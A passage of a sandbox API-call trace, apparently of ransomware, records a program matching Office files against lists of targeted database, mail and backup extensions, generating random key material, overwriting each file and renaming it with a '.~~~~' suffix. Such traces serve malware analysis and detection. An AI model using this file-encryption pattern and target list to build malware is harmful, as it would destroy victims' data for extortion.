	[0144.494] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPS.CSS", lpSrch=".mdt") returned 0x0
	[0144.494] lstrlenW (lpString=".BDB") returned 4
	[0144.494] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPS.CSS", lpSrch=".BDB") returned 0x0
	[0144.494] lstrlenW (lpString=".eql") returned 4
	[0144.494] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPS.CSS", lpSrch=".eql") returned 0x0
	[0144.494] lstrlenW (lpString=".DBF") returned 4
	[0144.494] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPS.CSS", lpSrch=".DBF") returned 0x0
	[0144.494] lstrlenW (lpString=".EQL") returned 4
	[0144.494] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPS.CSS", lpSrch=".EQL") returned 0x0
	[0144.494] lstrlenW (lpString=".FDB") returned 4
	[0144.494] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPS.CSS", lpSrch=".FDB") returned 0x0
	[0144.494] lstrlenW (lpString=".EDB") returned 4
	[0144.494] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPS.CSS", lpSrch=".EDB") returned 0x0
	[0144.494] lstrlenW (lpString=".DACPAC") returned 7
	[0144.494] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPS.CSS", lpSrch=".DACPAC") returned 0x0
	[0144.494] lstrlenW (lpString=".VHD") returned 4
	[0144.494] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPS.CSS", lpSrch=".VHD") returned 0x0
	[0144.495] lstrlenW (lpString=".DBV") returned 4
	[0144.495] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPS.CSS", lpSrch=".DBV") returned 0x0
	[0144.495] lstrlenW (lpString=".dacpac") returned 7
	[0144.495] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPS.CSS", lpSrch=".dacpac") returned 0x0
	[0144.495] lstrlenW (lpString=".sdf") returned 4
	[0144.495] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPS.CSS", lpSrch=".sdf") returned 0x0
	[0144.495] lstrlenW (lpString=".accdb") returned 6
	[0144.495] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPS.CSS", lpSrch=".accdb") returned 0x0
	[0144.495] lstrlenW (lpString=".DBX") returned 4
	[0144.495] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPS.CSS", lpSrch=".DBX") returned 0x0
	[0144.495] lstrlenW (lpString=".MDT") returned 4
	[0144.495] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPS.CSS", lpSrch=".MDT") returned 0x0
	[0144.495] lstrlenW (lpString=".SQB") returned 4
	[0144.495] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPS.CSS", lpSrch=".SQB") returned 0x0
	[0144.495] lstrlenW (lpString=".vhd") returned 4
	[0144.495] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPS.CSS", lpSrch=".vhd") returned 0x0
	[0144.495] lstrlenW (lpString=".bac") returned 4
	[0144.495] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPS.CSS", lpSrch=".bac") returned 0x0
	[0144.495] lstrlenW (lpString=".mdf") returned 4
	[0144.495] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPS.CSS", lpSrch=".mdf") returned 0x0
	[0144.495] lstrlenW (lpString=".BAK") returned 4
	[0144.495] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPS.CSS", lpSrch=".BAK") returned 0x0
	[0144.495] lstrlenW (lpString=".BAC") returned 4
	[0144.495] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPS.CSS", lpSrch=".BAC") returned 0x0
	[0144.495] lstrlenW (lpString=".dbs") returned 4
	[0144.495] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPS.CSS", lpSrch=".dbs") returned 0x0
	[0144.495] lstrlenW (lpString=".vhdx") returned 5
	[0144.496] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPS.CSS", lpSrch=".vhdx") returned 0x0
	[0144.496] lstrlenW (lpString=".NDF") returned 4
	[0144.496] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPS.CSS", lpSrch=".NDF") returned 0x0
	[0144.496] lstrlenW (lpString=".dat") returned 4
	[0144.496] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPS.CSS", lpSrch=".dat") returned 0x0
	[0144.496] lstrlenW (lpString=".DBS") returned 4
	[0144.496] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPS.CSS", lpSrch=".DBS") returned 0x0
	[0144.496] lstrlenW (lpString=".CKP") returned 4
	[0144.496] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPS.CSS", lpSrch=".CKP") returned 0x0
	[0144.496] lstrlenW (lpString=".edb") returned 4
	[0144.496] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPS.CSS", lpSrch=".edb") returned 0x0
	[0144.496] lstrlenW (lpString=".PST") returned 4
	[0144.496] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPS.CSS", lpSrch=".PST") returned 0x0
	[0144.496] lstrlenW (lpString=".dbf") returned 4
	[0144.496] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPS.CSS", lpSrch=".dbf") returned 0x0
	[0144.496] lstrlenW (lpString=".SQL") returned 4
	[0144.496] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPS.CSS", lpSrch=".SQL") returned 0x0
	[0144.496] lstrlenW (lpString=".pst") returned 4
	[0144.496] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPS.CSS", lpSrch=".pst") returned 0x0
	[0144.496] lstrlenW (lpString=".dbv") returned 4
	[0144.496] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPS.CSS", lpSrch=".dbv") returned 0x0
	[0144.496] lstrlenW (lpString=".SDF") returned 4
	[0144.496] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPS.CSS", lpSrch=".SDF") returned 0x0
	[0144.496] lstrlenW (lpString=".dtxs") returned 5
	[0144.496] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPS.CSS", lpSrch=".dtxs") returned 0x0
	[0144.496] lstrlenW (lpString=".db3") returned 4
	[0144.496] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPS.CSS", lpSrch=".db3") returned 0x0
	[0144.497] lstrlenW (lpString=".OST") returned 4
	[0144.497] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPS.CSS", lpSrch=".OST") returned 0x0
	[0144.497] lstrlenW (lpString=".dbx") returned 4
	[0144.497] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPS.CSS", lpSrch=".dbx") returned 0x0
	[0144.497] lstrlenW (lpString=".DB3") returned 4
	[0144.497] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPS.CSS", lpSrch=".DB3") returned 0x0
	[0144.497] lstrlenW (lpString=".DAT") returned 4
	[0144.497] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPS.CSS", lpSrch=".DAT") returned 0x0
	[0144.497] lstrlenW (lpString=".VHDX") returned 5
	[0144.497] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPS.CSS", lpSrch=".VHDX") returned 0x0
	[0144.497] lstrlenW (lpString=".ndf") returned 4
	[0144.497] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPS.CSS", lpSrch=".ndf") returned 0x0
	[0144.497] lstrlenW (lpString=".DB") returned 3
	[0144.497] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPS.CSS", lpSrch=".DB") returned 0x0
	[0144.497] lstrlenW (lpString=".sql") returned 4
	[0144.497] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPS.CSS", lpSrch=".sql") returned 0x0
	[0144.497] lstrlenW (lpString=".MYD") returned 4
	[0144.497] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPS.CSS", lpSrch=".MYD") returned 0x0
	[0144.497] lstrlenW (lpString=".DBT") returned 4
	[0144.497] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPS.CSS", lpSrch=".DBT") returned 0x0
	[0144.497] lstrlenW (lpString=".ACCDB") returned 6
	[0144.497] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPS.CSS", lpSrch=".ACCDB") returned 0x0
	[0144.497] lstrlenW (lpString=".fdb") returned 4
	[0144.497] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPS.CSS", lpSrch=".fdb") returned 0x0
	[0144.497] lstrlenW (lpString=".bak") returned 4
	[0144.497] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPS.CSS", lpSrch=".bak") returned 0x0
	[0144.498] lstrlenW (lpString=".myd") returned 4
	[0144.498] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPS.CSS", lpSrch=".myd") returned 0x0
	[0144.498] lstrlenW (lpString=".DTXS") returned 5
	[0144.498] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPS.CSS", lpSrch=".DTXS") returned 0x0
	[0144.498] lstrlenW (lpString=".ckp") returned 4
	[0144.498] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPS.CSS", lpSrch=".ckp") returned 0x0
	[0144.498] lstrlenW (lpString=".dbt") returned 4
	[0144.498] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPS.CSS", lpSrch=".dbt") returned 0x0
	[0144.498] lstrlenW (lpString=".db") returned 3
	[0144.498] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPS.CSS", lpSrch=".db") returned 0x0
	[0144.498] lstrlenW (lpString=".TXT") returned 4
	[0144.498] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPS.CSS", lpSrch=".TXT") returned 0x0
	[0144.498] lstrlenW (lpString=".MDF") returned 4
	[0144.498] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPS.CSS", lpSrch=".MDF") returned 0x0
	[0144.498] lstrlenW (lpString=".bdb") returned 4
	[0144.498] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPS.CSS", lpSrch=".bdb") returned 0x0
	[0144.498] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0144.498] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPS.CSS", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0144.498] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29061a8
	[0144.498] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0144.498] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3958d8) returned 1
	[0144.500] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0144.500] CryptReleaseContext (hProv=0x3958d8, dwFlags=0x0) returned 1
	[0144.500] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0144.500] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0144.500] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0144.500] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=26449004814) returned 1
	[0144.500] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xbf893b90, dwHighDateTime=0x1d60e1e)) 
	[0144.500] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0144.500] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0144.500] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0144.500] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x37ff60
	[0144.500] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0144.500] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37ff60 | out: hHeap=0x300000) returned 1
	[0144.500] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0144.501] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0144.501] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28acb00
	[0144.501] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0144.501] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37bb70
	[0144.501] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28acb00 | out: hHeap=0x300000) returned 1
	[0144.501] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0144.501] GetLastError () returned 0x0
	[0144.501] GetLastError () returned 0x0
	[0144.501] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0144.502] GetLastError () returned 0x0
	[0144.502] GetLastError () returned 0x0
	[0144.502] ReadFile (in: hFile=0x10c, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x24dfec0*=0xd7c, lpOverlapped=0x0) returned 1
	[0144.504] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xfffff284, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0144.504] WriteFile (in: hFile=0x10c, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0xd7c, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x24dfec0*=0xd7c, lpOverlapped=0x0) returned 1
	[0144.504] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a6b0c0 | out: hHeap=0x300000) returned 1
	[0144.504] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0144.504] WriteFile (in: hFile=0x10c, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0144.504] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0144.504] WriteFile (in: hFile=0x10c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0144.505] CloseHandle (hObject=0x10c) returned 1
	[0144.505] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37bb70
	[0144.505] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPS.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sps.css"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPS.CSS.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sps.css.~~~~")) returned 1
	[0144.508] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37bb70 | out: hHeap=0x300000) returned 1
	[0144.508] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0144.508] GetLastError () returned 0x0
	[0144.508] RtlWakeConditionVariable () returned 0x0
	[0144.508] GetCurrentThreadId () returned 0x3a4
	[0144.508] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STEEL.CSS", lpSrch=".scr") returned 0x0
	[0144.508] lstrlenW (lpString=".cmd") returned 4
	[0144.508] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STEEL.CSS", lpSrch=".cmd") returned 0x0
	[0144.508] lstrlenW (lpString=".dll") returned 4
	[0144.508] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STEEL.CSS", lpSrch=".dll") returned 0x0
	[0144.508] lstrlenW (lpString=".bat") returned 4
	[0144.509] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STEEL.CSS", lpSrch=".bat") returned 0x0
	[0144.509] lstrlenW (lpString=".cpl") returned 4
	[0144.509] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STEEL.CSS", lpSrch=".cpl") returned 0x0
	[0144.509] lstrlenW (lpString=".sys") returned 4
	[0144.509] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STEEL.CSS", lpSrch=".sys") returned 0x0
	[0144.509] lstrlenW (lpString=".msc") returned 4
	[0144.509] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STEEL.CSS", lpSrch=".msc") returned 0x0
	[0144.509] lstrlenW (lpString=".com") returned 4
	[0144.509] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STEEL.CSS", lpSrch=".com") returned 0x0
	[0144.509] lstrlenW (lpString=".lnk") returned 4
	[0144.509] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STEEL.CSS", lpSrch=".lnk") returned 0x0
	[0144.509] lstrlenW (lpString=".msp") returned 4
	[0144.509] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STEEL.CSS", lpSrch=".msp") returned 0x0
	[0144.509] lstrlenW (lpString=".pif") returned 4
	[0144.509] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STEEL.CSS", lpSrch=".pif") returned 0x0
	[0144.509] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0144.509] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STEEL.CSS", lpSrch="msp\r\n.pif") returned 0x0
	[0144.509] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STEEL.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\steel.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104
	[0144.622] lstrlenW (lpString=".sqb") returned 4
	[0144.622] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STEEL.CSS", lpSrch=".sqb") returned 0x0
	[0144.622] lstrlenW (lpString=".ost") returned 4
	[0144.622] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STEEL.CSS", lpSrch=".ost") returned 0x0
	[0144.623] lstrlenW (lpString=".txt") returned 4
	[0144.623] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STEEL.CSS", lpSrch=".txt") returned 0x0
	[0144.623] lstrlenW (lpString=".mdt") returned 4
	[0144.623] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STEEL.CSS", lpSrch=".mdt") returned 0x0
	[0144.623] lstrlenW (lpString=".BDB") returned 4
	[0144.623] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STEEL.CSS", lpSrch=".BDB") returned 0x0
	[0144.623] lstrlenW (lpString=".eql") returned 4
	[0144.623] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STEEL.CSS", lpSrch=".eql") returned 0x0
	[0144.623] lstrlenW (lpString=".DBF") returned 4
	[0144.623] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STEEL.CSS", lpSrch=".DBF") returned 0x0
	[0144.623] lstrlenW (lpString=".EQL") returned 4
	[0144.623] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STEEL.CSS", lpSrch=".EQL") returned 0x0
	[0144.623] lstrlenW (lpString=".FDB") returned 4
	[0144.623] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STEEL.CSS", lpSrch=".FDB") returned 0x0
	[0144.623] lstrlenW (lpString=".EDB") returned 4
	[0144.623] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STEEL.CSS", lpSrch=".EDB") returned 0x0
	[0144.623] lstrlenW (lpString=".DACPAC") returned 7
	[0144.623] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STEEL.CSS", lpSrch=".DACPAC") returned 0x0
	[0144.623] lstrlenW (lpString=".VHD") returned 4
	[0144.624] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STEEL.CSS", lpSrch=".VHD") returned 0x0
	[0144.624] lstrlenW (lpString=".DBV") returned 4
	[0144.624] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STEEL.CSS", lpSrch=".DBV") returned 0x0
	[0144.624] lstrlenW (lpString=".dacpac") returned 7
	[0144.624] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STEEL.CSS", lpSrch=".dacpac") returned 0x0
	[0144.624] lstrlenW (lpString=".sdf") returned 4
	[0144.624] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STEEL.CSS", lpSrch=".sdf") returned 0x0
	[0144.624] lstrlenW (lpString=".accdb") returned 6
	[0144.624] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STEEL.CSS", lpSrch=".accdb") returned 0x0
	[0144.624] lstrlenW (lpString=".DBX") returned 4
	[0144.624] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STEEL.CSS", lpSrch=".DBX") returned 0x0
	[0144.624] lstrlenW (lpString=".MDT") returned 4
	[0144.624] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STEEL.CSS", lpSrch=".MDT") returned 0x0
	[0144.624] lstrlenW (lpString=".SQB") returned 4
	[0144.624] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STEEL.CSS", lpSrch=".SQB") returned 0x0
	[0144.624] lstrlenW (lpString=".vhd") returned 4
	[0144.624] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STEEL.CSS", lpSrch=".vhd") returned 0x0
	[0144.624] lstrlenW (lpString=".bac") returned 4
	[0144.624] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STEEL.CSS", lpSrch=".bac") returned 0x0
	[0144.624] lstrlenW (lpString=".mdf") returned 4
	[0144.625] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STEEL.CSS", lpSrch=".mdf") returned 0x0
	[0144.625] lstrlenW (lpString=".BAK") returned 4
	[0144.625] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STEEL.CSS", lpSrch=".BAK") returned 0x0
	[0144.625] lstrlenW (lpString=".BAC") returned 4
	[0144.625] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STEEL.CSS", lpSrch=".BAC") returned 0x0
	[0144.625] lstrlenW (lpString=".dbs") returned 4
	[0144.625] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STEEL.CSS", lpSrch=".dbs") returned 0x0
	[0144.625] lstrlenW (lpString=".vhdx") returned 5
	[0144.625] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STEEL.CSS", lpSrch=".vhdx") returned 0x0
	[0144.625] lstrlenW (lpString=".NDF") returned 4
	[0144.625] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STEEL.CSS", lpSrch=".NDF") returned 0x0
	[0144.625] lstrlenW (lpString=".dat") returned 4
	[0144.625] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STEEL.CSS", lpSrch=".dat") returned 0x0
	[0144.625] lstrlenW (lpString=".DBS") returned 4
	[0144.625] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STEEL.CSS", lpSrch=".DBS") returned 0x0
	[0144.625] lstrlenW (lpString=".CKP") returned 4
	[0144.625] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STEEL.CSS", lpSrch=".CKP") returned 0x0
	[0144.625] lstrlenW (lpString=".edb") returned 4
	[0144.625] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STEEL.CSS", lpSrch=".edb") returned 0x0
	[0144.626] lstrlenW (lpString=".PST") returned 4
	[0144.626] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STEEL.CSS", lpSrch=".PST") returned 0x0
	[0144.626] lstrlenW (lpString=".dbf") returned 4
	[0144.626] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STEEL.CSS", lpSrch=".dbf") returned 0x0
	[0144.626] lstrlenW (lpString=".SQL") returned 4
	[0144.626] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STEEL.CSS", lpSrch=".SQL") returned 0x0
	[0144.626] lstrlenW (lpString=".pst") returned 4
	[0144.626] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STEEL.CSS", lpSrch=".pst") returned 0x0
	[0144.626] lstrlenW (lpString=".dbv") returned 4
